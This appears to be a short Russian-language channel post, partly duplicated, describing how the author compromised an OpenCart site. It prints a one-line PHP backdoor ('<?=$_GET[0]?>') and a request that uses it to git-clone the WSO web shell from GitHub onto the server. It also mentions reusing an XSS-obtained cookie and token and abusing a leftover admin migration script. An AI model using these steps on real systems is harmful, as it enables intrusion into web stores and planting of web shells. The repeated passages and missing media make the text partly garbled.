LIMB
Апну тему парой интетесных заметок:
Запрос формата:
поместил шелл по адресу : wso-webshell/wso.php
Второй квест чуть посложнее, есть cookie и user_token (xss), но нет доступа к админке. Переносим её при помощи скрипта миграции админки (в последней версии после установки OC просит изменить стандартный путь, но даже после переноса скрипт миграции доступен по старой ссылке) :
Получилось залить бэкдор формата <?=$_GET[0]?> , но как не бился с echo / wget / etc не получалось добится чего-то большего. На помощь пришел GITКогда борешься с safe_mode все способы хороши.
Запрос формата:
?0=git clone https://github.com/mIcHyAmRaNe/wso-webshell.git
Не удалось прогрузить медиа
поместил шелл по адресу : wso-webshell/wso.php
Второй квест чуть посложнее, есть cookie и user_token (xss), но нет доступа к админке. Переносим её при помощи скрипта миграции админки (в последней версии после установки OC просит изменить стандартный путь, но даже после переноса скрипт миграции доступен по старой ссылке) :
Не удалось прогрузить медиа
👍50
❤️11
🔥8
😁8
👏4
😢6